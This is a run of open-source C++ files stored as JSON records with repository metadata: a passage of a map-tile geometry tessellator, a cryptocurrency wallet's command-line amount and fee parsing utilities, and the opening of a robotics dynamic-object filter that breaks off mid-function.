sizeof(std::int16_t);\n            vertexGeomLayoutParams.vertexSize = (vertexGeomLayoutParams.vertexSize + 3) & ~3;\n        }\n\n        vertexGeomLayoutParams.coordScale = coordScale;\n        vertexGeomLayoutParams.binormalScale = binormalScale;\n        vertexGeomLayoutParams.texCoordScale = texCoordScale;\n        vertexGeomLayoutParams.heightScale = heightScale;\n\n        // Interleave, compress actual geometry data\n        VertexArray<std::uint8_t> compressedVertexGeometry;\n        compressedVertexGeometry.fill(0, coords.size() * vertexGeomLayoutParams.vertexSize);\n        for (std::size_t i = 0; i < coords.size(); i++) {\n            std::uint8_t* baseCompressedPtr = &compressedVertexGeometry[i * vertexGeomLayoutParams.vertexSize];\n\n            const cglib::vec3<float>& coord = coords[i];\n            std::int16_t* compressedCoordPtr = reinterpret_cast<std::int16_t*>(baseCompressedPtr + vertexGeomLayoutParams.coordOffset);\n            for (int j = 0; j < dimensions; j++) {\n                compressedCoordPtr[j] = static_cast<std::int16_t>(coord(j) * coordScale);\n            }\n\n            if (!attribs.empty()) {\n                const cglib::vec4<std::int8_t>& attrib = attribs[i];\n                std::int8_t* compressedAttribsPtr = reinterpret_cast<std::int8_t*>(baseCompressedPtr + vertexGeomLayoutParams.attribsOffset);\n                compressedAttribsPtr[0] = attrib(0);\n                compressedAttribsPtr[1] = attrib(1);\n                compressedAttribsPtr[2] = attrib(2);\n                compressedAttribsPtr[3] = attrib(3);\n            }\n\n            if (!texCoords.empty()) {\n                const cglib::vec2<float>& texCoord = texCoords[i];\n                std::int16_t* compressedTexCoordPtr = reinterpret_cast<std::int16_t*>(baseCompressedPtr + vertexGeomLayoutParams.texCoordOffset);\n                compressedTexCoordPtr[0] = static_cast<std::int16_t>(texCoord(0) * texCoordScale);\n                compressedTexCoordPtr[1] = static_cast<std::int16_t>(texCoord(1) * texCoordScale);\n            }\n\n            if (!normals.empty()) {\n                const cglib::vec3<float>& normal = normals[i];\n                std::int16_t* compressedNormalPtr = reinterpret_cast<std::int16_t*>(baseCompressedPtr + vertexGeomLayoutParams.normalOffset);\n                for (int j = 0; j < dimensions; j++) {\n                    compressedNormalPtr[j] = static_cast<std::int16_t>(normal(j) * 32767.0f); // assume strict range -1..1\n                }\n            }\n\n            if (!binormals.empty()) {\n                const cglib::vec3<float>& binormal = binormals[i];\n                std::int16_t* compressedBinormalPtr = reinterpret_cast<std::int16_t*>(baseCompressedPtr + vertexGeomLayoutParams.binormalOffset);\n                for (int j = 0; j < dimensions; j++) {\n                    compressedBinormalPtr[j] = static_cast<std::int16_t>(binormal(j) * binormalScale);\n                }\n            }\n\n            if (!heights.empty()) {\n                float height = heights[i];\n                std::int16_t* compressedHeightPtr = reinterpret_cast<std::int16_t*>(baseCompressedPtr + vertexGeomLayoutParams.heightOffset);\n                compressedHeightPtr[0] = static_cast<std::int16_t>(height * heightScale);\n            }\n        }\n\n        // Compress indices\n        VertexArray<std::uint16_t> compressedIndices;\n        compressedIndices.reserve(indices.size());\n        for (std::size_t i = 0; i < indices.size(); i++) {\n            compressedIndices.append(static_cast<std::uint16_t>(indices[i]));\n        }\n\n        // Compress ids\n        std::vector<std::pair<std::size_t, long long>> compressedIds;\n        if (!ids.empty()) {\n            std::size_t offset = 0;\n            for (std::size_t i = 1; i < ids.size(); i++) {\n                if (ids[i] != ids[offset]) {\n                    compressedIds.emplace_back(i - offset, ids[offset]);\n                    offset = i;\n                }\n            }\n            compressedIds.emplace_back(ids.size() - offset, ids[offset]);\n            compressedIds.shrink_to_fit();\n        }\n\n        // Store geometry\n        auto geometry = std::make_shared<TileGeometry>(type, _geomScale, styleParameters, vertexGeomLayoutParams, std::move(compressedVertexGeometry), std::move(compressedIndices), std::move(compressedIds));\n        geometryList.push_back(std::move(geometry));\n    }\n\n    bool TileLayerBuilder::tesselateGlyph(const cglib::vec2<float>& point, std::int8_t styleIndex, const cglib::vec2<float>& pen, const cglib::vec2<float>& size, const GlyphMap::Glyph* glyph) {\n        float u0 = 0, v0 = 0, u1 = 0, v1 = 0;\n        cglib::vec2<float> p0 = pen, p3 = pen + size;\n        cglib::vec4<std::int8_t> attrib(styleIndex, 0, 0, 0);\n        if (glyph) {\n            u0 = static_cast<float>(glyph->x); // NOTE: u,v coordinates will be normalized when the layer is built\n            v0 = static_cast<float>(glyph->y);\n            u1 = static_cast<float>(glyph->x + glyph->width);\n            v1 = static_cast<float>(glyph->y + glyph->height);\n            attrib(1) = (glyph->sdfMode ? -1 : 1);\n        }\n\n        if (_clipBox.inside(point)) {\n            std::size_t i0 = _coords.size();\n            _indices.append(i0 + 0, i0 + 2, i0 + 1);\n            _indices.append(i0 + 0, i0 + 3, i0 + 2);\n\n            _coords.append(point, point, point, point);\n            _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u1, v0), cglib::vec2<float>(u1, v1), cglib::vec2<float>(u0, v1));\n            _binormals.append(cglib::vec2<float>(p0(0), p0(1)), cglib::vec2<float>(p3(0), p0(1)), cglib::vec2<float>(p3(0), p3(1)), cglib::vec2<float>(p0(0), p3(1)));\n            _attribs.append(attrib, attrib, attrib, attrib);\n        }\n\n        return true;\n    }\n\n    bool TileLayerBuilder::tesselatePolygon(const std::vector<std::vector<cglib::vec2<float>>>& pointsList, std::int8_t styleIndex, const PolygonStyle& style) {\n        _tesselator.clear();\n        if (!_tesselator.tesselate(pointsList)) {\n            return false;\n        }\n\n        float du_dx = 0.0f, dv_dy = 0.0f;\n        if (style.pattern) {\n            du_dx = _tileSize / style.pattern->widthScale;\n            dv_dy = _tileSize / style.pattern->heightScale;\n        }\n\n        std::size_t offset = _coords.size();\n        for (std::size_t i = 0; i < _tesselator.getVertices().size(); i++) {\n            cglib::vec2<float> p = _tesselator.getVertices()[i];\n            cglib::vec2<float> uv((p(0) + 0.5f) * du_dx, (p(1) + 0.5f) * dv_dy);\n\n            _coords.append(p);\n            _texCoords.append(uv);\n        }\n\n        for (std::size_t i = 0; i < _tesselator.getElements().size(); i += 3) {\n            int i0 = _tesselator.getElements()[i + 0];\n            int i1 = _tesselator.getElements()[i + 1];\n            int i2 = _tesselator.getElements()[i + 2];\n\n            cglib::bbox2<float> bounds(_coords[i0 + offset]);\n            bounds.add(_coords[i1 + offset]);\n            bounds.add(_coords[i2 + offset]);\n            if (_polygonClipBox.inside(bounds)) {\n                std::array<std::size_t, 3> srcIndices = { { i0 + offset, i2 + offset, i1 + offset } };\n                _transformer->tesselateTriangles(srcIndices.data(), srcIndices.size(), _coords, _texCoords, _indices);\n            }\n        }\n\n        _attribs.fill(cglib::vec4<std::int8_t>(styleIndex, 0, 0, 0), _coords.size() - offset);\n\n        return true;\n    }\n\n    bool TileLayerBuilder::tesselatePolygon3D(const std::vector<std::vector<cglib::vec2<float>>>& pointsList, float minHeight, float maxHeight, std::int8_t styleIndex, const Polygon3DStyle& style) {\n        _tesselator.clear();\n        if (!_tesselator.tesselate(pointsList)) {\n            return false;\n        }\n\n        if (minHeight != maxHeight) {\n            for (const std::vector<cglib::vec2<float>>& points : pointsList) {\n                std::size_t j = points.size() - 1;\n                for (std::size_t i = 0; i < points.size(); i++) {\n                    cglib::bbox2<float> bounds(points[i]);\n                    bounds.add(points[j]);\n                    if (_polygonClipBox.inside(bounds)) {\n                        cglib::vec2<float> tangent(cglib::unit(points[i] - points[j]));\n                        cglib::vec2<float> binormal = cglib::vec2<float>(tangent(1), -tangent(0));\n\n                        std::size_t i0 = _coords.size();\n                        _coords.append(points[i], points[j], points[j]);\n                        _texCoords.append(points[i], points[j], points[j]);\n                        _binormals.append(binormal, binormal, binormal);\n                        _heights.append(minHeight, minHeight, maxHeight);\n                        _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 1, 0, 0), cglib::vec4<std::int8_t>(styleIndex, 1, 0, 0), cglib::vec4<std::int8_t>(styleIndex, 1, 1, 0));\n                        _indices.append(i0 + 0, i0 + 1, i0 + 2);\n\n                        std::size_t i1 = _coords.size();\n                        _coords.append(points[j], points[i], points[i]);\n                        _texCoords.append(points[j], points[i], points[i]);\n                        _binormals.append(binormal, binormal, binormal);\n                        _heights.append(maxHeight, maxHeight, minHeight);\n                        _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 1, 1, 0), cglib::vec4<std::int8_t>(styleIndex, 1, 1, 0), cglib::vec4<std::int8_t>(styleIndex, 1, 0, 0));\n                        _indices.append(i1 + 0, i1 + 1, i1 + 2);\n                    }\n\n                    j = i;\n                }\n            }\n        }\n\n        std::size_t offset = _coords.size();\n        for (std::size_t i = 0; i < _tesselator.getVertices().size(); i++) {\n            cglib::vec2<float> p = _tesselator.getVertices()[i];\n\n            _coords.append(p);\n            _texCoords.append(p);\n        }\n\n        for (std::size_t i = 0; i < _tesselator.getElements().size(); i += 3) {\n            int i0 = _tesselator.getElements()[i + 0];\n            int i1 = _tesselator.getElements()[i + 1];\n            int i2 = _tesselator.getElements()[i + 2];\n\n            cglib::bbox2<float> bounds(_coords[i0 + offset]);\n            bounds.add(_coords[i1 + offset]);\n            bounds.add(_coords[i2 + offset]);\n            if (_polygonClipBox.inside(bounds)) {\n                std::array<std::size_t, 3> srcIndices = { { i0 + offset, i2 + offset, i1 + offset } };\n                _transformer->tesselateTriangles(srcIndices.data(), srcIndices.size(), _coords, _texCoords, _indices);\n            }\n        }\n\n        _binormals.fill(cglib::vec2<float>(0, 0), _coords.size() - offset);\n        _heights.fill(maxHeight, _coords.size() - offset);\n        _attribs.fill(cglib::vec4<std::int8_t>(styleIndex, 0, 1, 0), _coords.size() - offset);\n\n        return true;\n    }\n\n    bool TileLayerBuilder::tesselateLine(const std::vector<cglib::vec2<float>>& linePoints, std::int8_t styleIndex, const StrokeMap::Stroke* stroke, const LineStyle& style) {\n        if (linePoints.size() < 2) {\n            return false;\n        }\n\n        float v0 = 0, v1 = 0, du_dl = 0;\n        if (stroke) {\n            v1 = stroke->y0 + 0.5f;\n            v0 = stroke->y1 - 0.5f;\n            du_dl = _tileSize / stroke->scale;\n        }\n\n        VertexArray<cglib::vec2<float>> points;\n        points.reserve(linePoints.size());\n        _transformer->tesselateLineString(linePoints.data(), linePoints.size(), points);\n\n        bool cycle = points[0] == points[points.size() - 1];\n        bool endpoints = !cycle && style.capMode != LineCapMode::NONE;\n        float linePos = 0;\n\n        float minSplitDot = 1.0f;\n        float minMiterDot = 1.0f;\n        switch (style.joinMode) {\n        case LineJoinMode::BEVEL:\n        case LineJoinMode::ROUND:\n            minSplitDot = stroke ? MIN_STROKE_DOT : MIN_BEVEL_DOT;\n            break;\n        case LineJoinMode::MITER:\n            minSplitDot = stroke ? MIN_STROKE_DOT : MIN_BEVEL_DOT;\n            minMiterDot = stroke ? MIN_STROKE_DOT : MIN_MITER_DOT;\n            break;\n        default:\n            break;\n        }\n\n        std::size_t i = 1;\n        for (; i < points.size(); i++) {\n            if (points[i] != points[i - 1]) {\n                break;\n            }\n        }\n        if (i >= points.size()) {\n            return false;\n        }\n\n        cglib::vec2<float> knotBinormal(0, 0);\n        if (cycle) {\n            std::size_t j = points.size() - 1;\n            for (; j > i; j--) {\n                if (points[j] != points[j - 1]) {\n                    break;\n                }\n            }\n\n            cglib::vec2<float> prevTangent(cglib::unit(points[j] - points[j - 1]));\n            cglib::vec2<float> prevBinormal = cglib::vec2<float>(prevTangent(1), -prevTangent(0));\n            cglib::vec2<float> tangent(cglib::unit(points[i] - points[i - 1]));\n            cglib::vec2<float> binormal = cglib::vec2<float>(tangent(1), -tangent(0));\n\n            float dot = cglib::dot_product(binormal, prevBinormal);\n            if (dot < minSplitDot) {\n                cycle = endpoints = false;\n            }\n            else {\n                knotBinormal = cglib::unit(binormal + prevBinormal) * (1 / std::sqrt((1 + dot) / 2));\n            }\n        }\n\n        cglib::vec2<float> binormal(0, 0), tangent(0, 0);\n        {\n            const cglib::vec2<float>& p0 = points[i - 1];\n            const cglib::vec2<float>& p1 = points[i];\n            float u0 = linePos * du_dl;\n            cglib::vec2<float> dp(p1 - p0);\n            linePos += cglib::length(dp);\n\n            tangent = cglib::unit(dp);\n            binormal = cglib::vec2<float>(tangent(1), -tangent(0));\n\n            if (endpoints) {\n                std::size_t i0 = _coords.size();\n                tesselateLineEndPoint(p0, u0, v0, v1, i0 + 2, i0, -tangent, binormal, styleIndex, style); // refer to the point that will be added after end point\n            }\n\n            _coords.append(p0, p0);\n            _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n            _binormals.append(cycle ? -knotBinormal : -binormal, cycle ? knotBinormal : binormal);\n            _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, 0), cglib::vec4<std::int8_t>(styleIndex, 0, -1, 0));\n        }\n\n        while (++i < points.size()) {\n            const cglib::vec2<float>& p0 = points[i - 1];\n            const cglib::vec2<float>& p1 = points[i];\n            if (p0 == p1) {\n                continue;\n            }\n            float u0 = linePos * du_dl;\n            cglib::vec2<float> dp(p1 - p0);\n            linePos += cglib::length(dp);\n\n            cglib::vec2<float> prevBinormal = binormal;\n            cglib::vec2<float> prevTangent = tangent;\n            tangent = cglib::unit(dp);\n            binormal = cglib::vec2<float>(tangent(1), -tangent(0));\n\n            std::size_t i0 = _coords.size();\n\n            cglib::bbox2<float> bounds(p0);\n            bounds.add(_coords[i0 - 2]);\n            if (_clipBox.inside(bounds)) {\n                _indices.append(i0 - 1, i0 - 2, i0 + 0);\n                _indices.append(i0 - 1, i0 + 0, i0 + 1);\n            }\n\n            float dot = cglib::dot_product(binormal, prevBinormal);\n            if (dot < minSplitDot) {\n                // Split line segments\n                _coords.append(p0, p0);\n                _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n                _binormals.append(-prevBinormal, prevBinormal);\n                _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, 0), cglib::vec4<std::int8_t>(styleIndex, 0, -1, 0));\n\n                _coords.append(p0, p0);\n                _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n                _binormals.append(-binormal, binormal);\n                _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, 0), cglib::vec4<std::int8_t>(styleIndex, 0, -1, 0));\n            }\n            else if (dot < minMiterDot) {\n                // Use bevel line join\n                cglib::vec2<float> lerpedBinormal = cglib::unit(binormal + prevBinormal);\n                std::int8_t sin = static_cast<std::int8_t>(127.0f * cglib::dot_product(prevTangent, lerpedBinormal));\n                cglib::vec2<float> lerpedScaledBinormal = lerpedBinormal * (1 / std::sqrt((1 + dot) * 0.5f));\n\n                _coords.append(p0, p0);\n                _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n                _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, -sin), cglib::vec4<std::int8_t>(styleIndex, 0, -1, 0));\n\n                _coords.append(p0, p0);\n                _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n                _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, sin), cglib::vec4<std::int8_t>(styleIndex, 0, -1, 0));\n\n                if (cglib::dot_product(prevTangent, binormal) < 0) {\n                    _binormals.append(-prevBinormal, lerpedScaledBinormal);\n                    _binormals.append(-binormal, lerpedScaledBinormal);\n                    _indices.append(i0 + 1, i0 + 0, i0 + 2);\n                } else {\n                    _binormals.append(-lerpedScaledBinormal, prevBinormal);\n                    _binormals.append(-lerpedScaledBinormal, binormal);\n                    _indices.append(i0 + 1, i0 + 0, i0 + 3);\n                }\n            }\n            else {\n                // Use miter line join\n                cglib::vec2<float> lerpedBinormal = cglib::unit(binormal + prevBinormal);\n                std::int8_t sin = static_cast<std::int8_t>(127.0f * cglib::dot_product(prevTangent, lerpedBinormal));\n                cglib::vec2<float> lerpedScaledBinormal = lerpedBinormal * (1 / std::sqrt((1 + dot) * 0.5f));\n\n                _coords.append(p0, p0);\n                _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n                _binormals.append(-lerpedScaledBinormal, lerpedScaledBinormal);\n                _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, -sin), cglib::vec4<std::int8_t>(styleIndex, 0, -1, sin));\n\n                if (stroke) {\n                    _coords.append(p0, p0);\n                    _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n                    _binormals.append(-lerpedScaledBinormal, lerpedScaledBinormal);\n                    _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, sin), cglib::vec4<std::int8_t>(styleIndex, 0, -1, -sin));\n                }\n            }\n        }\n            \n        {\n            const cglib::vec2<float>& p0 = points[i - 1];\n            float u0 = linePos * du_dl;\n\n            std::size_t i0 = _coords.size();\n            \n            cglib::bbox2<float> bounds(p0);\n            bounds.add(_coords[i0 - 2]);\n            if (_clipBox.inside(bounds)) {\n                _indices.append(i0 - 1, i0 - 2, i0 + 0);\n                _indices.append(i0 - 1, i0 + 0, i0 + 1);\n            }\n\n            _coords.append(p0, p0);\n            _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n            _binormals.append(cycle ? -knotBinormal : -binormal, cycle ? knotBinormal : binormal);\n            _attribs.append(cglib::vec4<std::int8_t>(styleIndex, 0, 1, 0), cglib::vec4<std::int8_t>(styleIndex, 0, -1, 0));\n\n            if (endpoints) {\n                std::size_t i1 = _coords.size();\n                tesselateLineEndPoint(p0, u0, v0, v1, i1, i0, tangent, binormal, styleIndex, style);\n            }\n        }\n        return true;\n    }\n\n    bool TileLayerBuilder::tesselateLineEndPoint(const cglib::vec2<float>& p0, float u0, float v0, float v1, std::size_t i0, std::size_t i1, const cglib::vec2<float>& tangent, const cglib::vec2<float>& binormal, std::int8_t styleIndex, const LineStyle& style) {\n        if (_clipBox.inside(p0)) {\n            float cap = style.capMode == LineCapMode::ROUND ? 1.0f : 0.0f;\n\n            _coords.append(p0, p0);\n            _texCoords.append(cglib::vec2<float>(u0, v0), cglib::vec2<float>(u0, v1));\n            _binormals.append(tangent - binormal, tangent + binormal);\n            _attribs.append(cglib::vec4<std::int8_t>(styleIndex, cap, 1, 0), cglib::vec4<std::int8_t>(styleIndex, cap, -1, 0));\n\n            _indices.append(i0 + 1, i1 + 0, i0 + 0);\n            _indices.append(i0 + 1, i1 + 1, i1 + 0);\n        }\n        return true;\n    }\n} }\n", "meta": {"hexsha": "6d5adf65b4a88a4461f0cd75b393cc4d3337e111", "size": 55677, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "vt/src/vt/TileLayerBuilder.cpp", "max_stars_repo_name": "CartoDB/mobile-carto-libs", "max_stars_repo_head_hexsha": "c1def8e8d91a98adff1aaef440c5d207be8ffe52", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 6.0, "max_stars_repo_stars_event_min_datetime": "2018-06-27T17:43:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-29T18:50:49.000Z", "max_issues_repo_path": "vt/src/vt/TileLayerBuilder.cpp", "max_issues_repo_name": "CartoDB/mobile-carto-libs", "max_issues_repo_head_hexsha": "c1def8e8d91a98adff1aaef440c5d207be8ffe52", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 22.0, "max_issues_repo_issues_event_min_datetime": "2019-04-10T06:38:09.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-20T08:12:02.000Z", "max_forks_repo_path": "vt/src/vt/TileLayerBuilder.cpp", "max_forks_repo_name": "CartoDB/mobile-carto-libs", "max_forks_repo_head_hexsha": "c1def8e8d91a98adff1aaef440c5d207be8ffe52", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2019-03-12T10:25:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-28T10:18:56.000Z", "avg_line_length": 52.7744075829, "max_line_length": 639, "alphanum_fraction": 0.6007148374, "num_tokens": 13747, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5964331462646254, "lm_q2_score": 0.2509127812837603, "lm_q1q2_score": 0.14965269957908098}}
{"text": "// Copyright 2020 The Beam Team\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//    http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \"utils.h\"\n\n#include \"wallet/core/common_utils.h\"\n#include \"wallet/core/strings_resources.h\"\n\n#include <boost/format.hpp>\n#include <boost/multiprecision/cpp_dec_float.hpp>\n\nusing namespace std;\nusing namespace beam;\nusing namespace beam::wallet;\nusing namespace ECC;\n\nnamespace beam::wallet\n{\nbool ReadAmount(const po::variables_map& vm, Amount& amount, const Amount& limit, bool asset)\n{\n    if (vm.count(cli::AMOUNT) == 0)\n    {\n        LOG_ERROR() << kErrorAmountMissing;\n        return false;\n    }\n\n    const auto strAmount = vm[cli::AMOUNT].as<std::string>();\n\n    try\n    {\n        boost::multiprecision::cpp_dec_float_50 preciseAmount(strAmount.c_str());\n        preciseAmount *= Rules::Coin;\n\n        if (preciseAmount == 0)\n        {\n            LOG_ERROR() << kErrorZeroAmount;\n            return false;\n        }\n\n        if (preciseAmount < 0)\n        {\n            LOG_ERROR() << (boost::format(kErrorNegativeAmount) % strAmount).str();\n            return false;\n        }\n\n        if (preciseAmount > limit)\n        {\n            std::stringstream ssLimit;\n            ssLimit << PrintableAmount(limit, false, asset ? kAmountASSET : \"\", asset ? kAmountAGROTH : \"\");\n            LOG_ERROR() << (boost::format(kErrorTooBigAmount) % strAmount % ssLimit.str()).str();\n            return false;\n        }\n\n        amount = preciseAmount.convert_to<Amount>();\n    }\n    catch (const std::runtime_error& err)\n    {\n        LOG_ERROR() << \"the argument ('\" << strAmount << \"') for option '--amount' is invalid.\";\n        LOG_ERROR() << err.what();\n        return false;\n    }\n\n    return true;\n}\n\nbool ReadFee(const po::variables_map& vm, Amount& fee, bool checkFee)\n{\n    if (auto it = vm.find(cli::FEE); it != vm.end())\n    {\n        fee = it->second.as<Nonnegative<Amount>>().value;\n    }\n    else\n    {\n        fee = kMinFeeInGroth;\n    }\n\n    if (checkFee && fee < kMinFeeInGroth)\n    {\n        LOG_ERROR() << kErrorFeeToLow;\n        return false;\n    }\n\n    return true;\n}\n\nbool LoadReceiverParams(const po::variables_map& vm, TxParameters& params)\n{\n    if (vm.find(cli::RECEIVER_ADDR) == vm.end())\n    {\n        LOG_ERROR() << kErrorReceiverAddrMissing;\n        return false;\n    }\n    auto addressOrToken = vm[cli::RECEIVER_ADDR].as<string>();\n    auto receiverParams = ParseParameters(addressOrToken);\n    if (!receiverParams)\n    {\n        LOG_ERROR() << kErrorReceiverAddrMissing;\n        return false;\n    }\n    if (!LoadReceiverParams(*receiverParams, params))\n    {\n        return false;\n    }\n    if (auto peerID = params.GetParameter<WalletID>(beam::wallet::TxParameterID::PeerID); !peerID || std::to_string(*peerID) != addressOrToken)\n    {\n        params.SetParameter(beam::wallet::TxParameterID::OriginalToken, addressOrToken);\n    }\n\n    if (vm.find(cli::MAX_PRIVACY_ADDRESS) != vm.end() && vm[cli::MAX_PRIVACY_ADDRESS].as<bool>())\n    {\n        params.SetParameter(TxParameterID::TransactionType, TxType::PushTransaction);\n    }\n    return true;\n}\n\nbool LoadBaseParamsForTX(const po::variables_map& vm, Asset::ID& assetId, Amount& amount, Amount& fee, WalletID& receiverWalletID, bool checkFee, bool skipReceiverWalletID)\n{\n    if (!skipReceiverWalletID)\n    {\n        TxParameters params;\n        if (!LoadReceiverParams(vm, params))\n        {\n            return false;\n        }\n        if (auto peerID = params.GetParameter<WalletID>(TxParameterID::PeerID); peerID)\n        {\n            receiverWalletID = *peerID;\n        }\n    }\n\n    if (!ReadAmount(vm, amount))\n    {\n        return false;\n    }\n\n    if (!ReadFee(vm, fee, checkFee))\n    {\n        return false;\n    }\n\n    if(vm.count(cli::ASSET_ID)) // asset id can be zero if beam only\n    {\n        assetId = vm[cli::ASSET_ID].as<Positive<uint32_t>>().value;\n    }\n\n    return true;\n}\n\nbool CheckFeeForShieldedInputs(Amount amount, Amount fee, Asset::ID assetId, const IWalletDB::Ptr& walletDB, bool isPushTx, Amount& feeForShieldedInputs)\n{\n    Transaction::FeeSettings fs;\n    Amount shieldedOutputsFee = isPushTx ? fs.m_Kernel + fs.m_Output + fs.m_ShieldedOutput : 0;\n\n    auto coinSelectionRes = CalcShieldedCoinSelectionInfo(\n        walletDB, amount, (isPushTx && fee > shieldedOutputsFee) ? fee - shieldedOutputsFee : fee, assetId, isPushTx);\n    feeForShieldedInputs = coinSelectionRes.shieldedInputsFee;\n\n    bool isBeam = assetId == Asset::s_BeamID;\n    if (isBeam && (coinSelectionRes.selectedSumBeam - coinSelectionRes.selectedFee - coinSelectionRes.changeBeam) < amount)\n    {\n        LOG_ERROR() << kErrorNotEnoughtCoins;\n        return false;\n    }\n\n    if (!isBeam && (coinSelectionRes.selectedSumAsset - coinSelectionRes.changeAsset < amount))\n    {\n        // TODO: enough beam & asset\n        LOG_ERROR() << kErrorNotEnoughtCoins;\n        return false;\n    }\n\n    if (coinSelectionRes.minimalFee > fee)\n    {\n        if (isPushTx && !coinSelectionRes.shieldedInputsFee)\n        {\n            LOG_ERROR() << boost::format(kErrorFeeForShieldedOutToLow) % coinSelectionRes.minimalFee;\n        }\n        else\n        {\n            LOG_ERROR() << boost::format(kErrorFeeForShieldedToLow) % coinSelectionRes.minimalFee;\n        }\n        return false;\n    }\n\n    return true;\n}\n\n} // namespace beam::wallet", "meta": {"hexsha": "902ba76eff604153a2629e3771ef970eb957f0f4", "size": 5806, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "wallet/cli/utils.cpp", "max_stars_repo_name": "anatolse/beam", "max_stars_repo_head_hexsha": "43c4ce0011598641d9cdeffbfdee66fde0a49730", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "wallet/cli/utils.cpp", "max_issues_repo_name": "anatolse/beam", "max_issues_repo_head_hexsha": "43c4ce0011598641d9cdeffbfdee66fde0a49730", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "wallet/cli/utils.cpp", "max_forks_repo_name": "anatolse/beam", "max_forks_repo_head_hexsha": "43c4ce0011598641d9cdeffbfdee66fde0a49730", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.175879397, "max_line_length": 172, "alphanum_fraction": 0.6370995522, "num_tokens": 1446, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.28776780965284365, "lm_q1q2_score": 0.1495015128861036}}
{"text": "/* Copyright (C) 2010-2019, The Regents of The University of Michigan.\n All rights reserved.\n\n This software was developed as part of the The Vulcan project in the Intelligent Robotics Lab\n under the direction of Benjamin Kuipers, kuipers@umich.edu. Use of this code is governed by an\n MIT-style License that can be found at \"https://github.com/h2ssh/Vulcan\".\n*/\n\n\n/**\n* \\file     dynamic_object_filter.cpp\n* \\author   Collin Johnson and Jong Jin Park\n*\n* Definition of DynamicObjectFilter.\n*/\n\n#include <mpepc/simulator/dynamic_object_filter.h>\n#include <mpepc/grid/obstacle_distance_grid.h>\n#include <core/motion_state.h>\n#include <tracker/dynamic_object_collection.h>\n#include <tracker/objects/person.h>\n#include <tracker/objects/rigid.h>\n#include <tracker/objects/unclassified.h>\n#include <utils/timestamp.h>\n\n#include <boost/variant/static_visitor.hpp>\n\nnamespace vulcan\n{\nnamespace mpepc\n{\n\nstruct object_goal_visitor : public boost::static_visitor<pose_t>\n{\n    position_t objPosition;\n    double objHeading;\n    double goalHeading;\n\n    object_goal_visitor(position_t objPosition, double objHeading, double goalHeading)\n    : objPosition(objPosition)\n    , objHeading(objHeading)\n    , goalHeading(goalHeading)\n    {\n    }\n\n    pose_t operator()(const Line<double>& goal);\n    pose_t operator()(const Point<double>& goal);\n};\n\n\nDynamicObjectFilter::DynamicObjectFilter(const dynamic_object_filter_params_t& params)\n: params_(params)\n{\n}\n\n\nstd::vector<dynamic_object_trajectory_t> DynamicObjectFilter::filterObjects(const tracker::DynamicObjectCollection& objects,\n                                                                            const motion_state_t& robotState,\n                                                                            const ObstacleDistanceGrid& map,\n                                                                            int64_t startTimeUs)\n{\n    std::vector<dynamic_object_trajectory_t> filteredObjects;\n\n    for(auto& object : objects)\n    {\n        // read the state of a tracked object and form a candidate object\n        if(startTimeUs - object->timeLastSeen() > params_.staleObjectTimeUs)\n        {\n            std::cout<<\"WARNING!: DynamicObjectFilter: Timestamp of the tracked object is old. This data is ignored \\\n                        as it may be stale.\\n\";\n        }\n        else\n        {\n            dynamic_object_state_t objState = createObjectState(*object);\n\n            // Ignore objects that are far from the robot or too close to walls to matter\n            if(isNearRobot(objState, robotState) && isFarFromWalls(objState, map))\n            {\n                // TODO: bunch of heuristic here to make things work. Clean it up!\n                // special treatment for things behind the robot\n                if(params_.shouldSlowdownObjectsBehindRobot)\n                {\n                    objState = slowdownObjectBehindRobot(objState, robotState);\n                }\n\n                // cap object speeds\n                float speed = std::sqrt(objState.xVel * objState.xVel + objState.yVel * objState.yVel);\n                if(speed > params_.maxObjectSpeed)\n                {\n                   